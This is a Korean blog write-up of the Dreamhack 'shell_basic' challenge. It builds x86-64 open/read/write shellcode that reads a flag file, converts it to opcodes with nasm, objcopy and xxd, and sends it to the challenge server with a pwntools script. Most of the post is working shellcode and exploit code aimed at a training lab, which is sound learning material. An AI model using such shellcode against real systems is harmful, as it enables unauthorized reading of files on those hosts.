외로운 Nova의 작업실

dreamhack 시스템해킹 - 5(shell_basic 문제풀이) 본문

Computer App Penetesting/System Vulnerability

dreamhack 시스템해킹 - 5(shell_basic 문제풀이)

Nova_ 2023. 1. 3. 15:53

이번시간에는 shell_basic 문제를 풀어보도록 하겠습니다.

 

- asm 짜고 OP code 만들기

먼저 파일 경로(/home/shell_basic/flag_name_is_loooooong)를 아스키코드로 변경해줍니다. 아래 링크로 들어가서 변경하면됩니다.

https://www.rapidtables.org/ko/convert/number/ascii-to-hex.html

 

ASCII에서 16 진수로 | 텍스트를 16 진 코드로 변환

ASCII 텍스트를 16 진수 코드로 변환 ASCII / 유니 코드 텍스트 문자열을 입력 하고 변환 버튼을 누릅니다. 텍스트를 16 진수로 변환하는 방법 텍스트를 16 진 ASCII 코드로 변환 : 캐릭터 얻기 ASCII 테이

www.rapidtables.org

2f 68 6f 6d 65 2f 73 68 65 6c 6c 5f 62 61 73 69 63 2f 66 6c 61 67 5f 6e 61 6d 65 5f 69 73 5f 6c 6f 6f 6f 6f 6f 6f 6e 67

 

위 문자들은 문자열로 쓰기위해서 마지막에 NULL을 상징하는 00을 붙여놓고 역으로 써줍니다.

00676e6f6f6f6f6f6f6c5f73695f656d616e5f67616c662f63697361625f6c6c6568732f656d6f682f

위는 파일의 경로를 나타내는 것으로 push한후 마지막 rsp를 rdi에 넣어주면됩니다.

section .text
global _start
_start:
        push 00
        mov rax, 0x676e6f6f6f6f6f6f
        push rax
        mov rax, 0x6c5f73695f656d61
        push rax
        mov rax, 0x6e5f67616c662f63
        push rax
        mov rax, 0x697361625f6c6c65
        push rax
        mov rax, 0x68732f656d6f682f
        push rax
        mov rdi, rsp
        xor rsi, rsi
        xor rdx, rdx
        mov rax, 0x2
        syscall

        mov rdi, rax
        mov rsi, rsp
        sub rsi, 0x30
        mov rdx, 0x30
        mov rax, 0x0
        syscall

        mov rdi, 1
        mov rax, 0x1
        syscall

        xor rdi, rdi
        mov rax, 0x3c
        syscall

        mov rax, 0x3c
        mov rdi, 0

이제 위 asm파일을 op코드로 변환해봅시다. 위 코드를 컴파일을 해줍니다.

$ nasm -f elf64 shell_basic.asm

그다음 obj 파일을 보기위해 bin 파일로 변환해줍니다.

$ objcopy --dump-section .text=shell_basic.bin shell_basic.o

bin 파일을 열어봅시다.

$ xxd shell_basic.bin

위 op코드들을 문자열 형태로 전달해야하지만 16진수임을 표한하기위해 \x를 붙여서 정리해줍니다. 단 \x는 2개의 문자만 16진수로 처리하기때문에 2개씩 다 써줘야합니다.

\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05

 

op code가 완성되었습니다. 이제 서버로 보내봅시다.

 

- 서버로 op code 보내기

파이썬 pwn 모듈을 이용하여 보내보겠습니다.

from pwn import *


shell = "\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05"


p = remote("host3.dreamhack.games", 21013)

p.send(shell)
data = p.recv(1024)
print(data)

저장후 실행시켜보겠습니다.

잘 되는 것을 확인할 수 있습니다.

Comments